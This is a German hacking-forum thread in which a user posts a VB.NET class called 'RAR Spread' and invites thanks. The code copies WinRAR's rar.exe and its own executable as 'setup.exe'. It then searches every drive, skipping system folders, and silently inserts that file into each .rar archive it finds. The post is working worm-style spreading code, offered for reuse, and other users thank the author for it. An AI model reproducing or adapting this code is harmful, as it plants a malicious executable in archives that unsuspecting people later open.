Ergebnis 1 bis 10 von 10

Baum-Darstellung

  1. #1
    Capt'n Crunch Avatar von hackerking
    Registriert seit
    08.11.2008
    Beiträge
    964

    Standard [VB.NET] RAR Spread *Funktioniert auch unter Vista/7*

    [hide]
    Code:
    'by hackerking
    Public Class Archive
            Shared RarPath As String = "rar.exe"
    
            Public Shared Sub Spread()
                If File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\WinRar\Rar.exe") Then
                    RarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\WinRar\Rar.exe"
                    If File.Exists(Application.StartupPath & "\rar.exe") Then Kill(Application.StartupPath & "\rar.exe")
                    File.Copy(RarPath, Application.StartupPath & "\rar.exe")
                    RarPath = Application.StartupPath & "\rar.exe"
                ElseIf File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Replace(" (x86)", "") & "\WinRar\Rar.exe") Then
                    RarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Replace(" (x86)", "") & "\WinRar\Rar.exe"
                    If File.Exists(Application.StartupPath & "\rar.exe") Then Kill(Application.StartupPath & "\rar.exe")
                    File.Copy(RarPath, Application.StartupPath & "\rar.exe")
                    RarPath = Application.StartupPath & "\rar.exe"
                Else
                    Exit Sub
                End If
    
                If File.Exists(Application.StartupPath & "\setup.exe") Then Kill(Application.StartupPath & "\setup.exe")
                File.Copy(Application.ExecutablePath, Application.StartupPath & "\setup.exe")
                Dim Drives() As String = Environment.GetLogicalDrives
                For Each sDrive As String In Drives
                    SearchForArchive(sDrive)
                Next
            End Sub
    
            Private Shared Sub SearchForArchive(ByVal sPath As String)
                Try
                    If sPath = Directory.GetDirectoryRoot(sPath) & "archive_db" Or sPath = Directory.GetDirectoryRoot(sPath) & "Intel" Or sPath = Directory.GetDirectoryRoot(sPath) & _
                        "NVIDIA" Or sPath = Directory.GetDirectoryRoot(sPath) & "PerfLogs" Or sPath = Directory.GetDirectoryRoot(sPath) _
                        & "Windows" Or sPath = Directory.GetDirectoryRoot(sPath) & "Windows.old" Or sPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) _
                        Or sPath = Environment.GetFolderPath(Environment.SpecialFolder.Programs) Or sPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) _
                        Or sPath = Directory.GetDirectoryRoot(sPath) & "$Recycle.Bin" Or sPath = Directory.GetDirectoryRoot(sPath) & "Boot" Or sPath = Directory.GetDirectoryRoot(sPath) _
                        & "Config.Msi" Or sPath = Directory.GetDirectoryRoot(sPath) & "System Volume Information" Or sPath = Directory.GetDirectoryRoot(sPath) & "Program Files" Or _
                        sPath = Directory.GetDirectoryRoot(sPath) & "Program Files (x86)" Then
                        Exit Sub
                    End If
    
                    Dim Files As String() = Directory.GetFiles(sPath)
                    For Each File As String In Files
                        Try
                            If Path.GetExtension(File) = ".rar" Then
                                InjectArchive(File)
                            End If
                        Catch
                        End Try
                    Next
                    Dim SubDirs As String() = Directory.GetDirectories(sPath)
                    For Each SubDir As String In SubDirs
                        SearchForArchive(SubDir)
                    Next
                Catch
                End Try
            End Sub
    
            Private Shared Sub InjectArchive(ByVal sArchive As String)
                Try
                    Dim psi As New ProcessStartInfo With {.Arguments = " a " & sArchive & " setup.exe",  .FileName = RarPath}
                    With psi
                        .CreateNoWindow = True
                        .WindowStyle = ProcessWindowStyle.Hidden
                        Process.Start(psi)
                        psi = Nothing
                    End With
                Catch
                End Try
            End Sub
        End Class
    [/hide]

    ein thx tut nicht weh
    ps:
    die klasse funktioniert unter xp/vista/7
    aber nicht mit zip datein

    ps2:
    ordentlich nää

    edit//
    gibt ein paar kleinigkeiten die verbessert werden könnten. (using, with etc.)
    aber dass könnt ihr ja selber machen
    Geändert von hackerking (26.09.2010 um 15:06 Uhr)

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    c-Jay (08.10.2010), xzibitsebi (25.08.2010), _nobby_ (16.08.2010)

Ähnliche Themen

  1. [S] Alternative zu Sandboxie, die auch unter Vista x64 läuf
    Von bLaCk.LiGhT im Forum Anwendungssoftware
    Antworten: 0
    Letzter Beitrag: 24.08.2008, 14:17
  2. Antworten: 3
    Letzter Beitrag: 28.11.2007, 19:13
  3. Vernünftiger ICQ 5.1 IP Sniffer der auch funktioniert??
    Von Lidloses_Auge im Forum Instant Messaging
    Antworten: 0
    Letzter Beitrag: 05.02.2007, 15:31

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •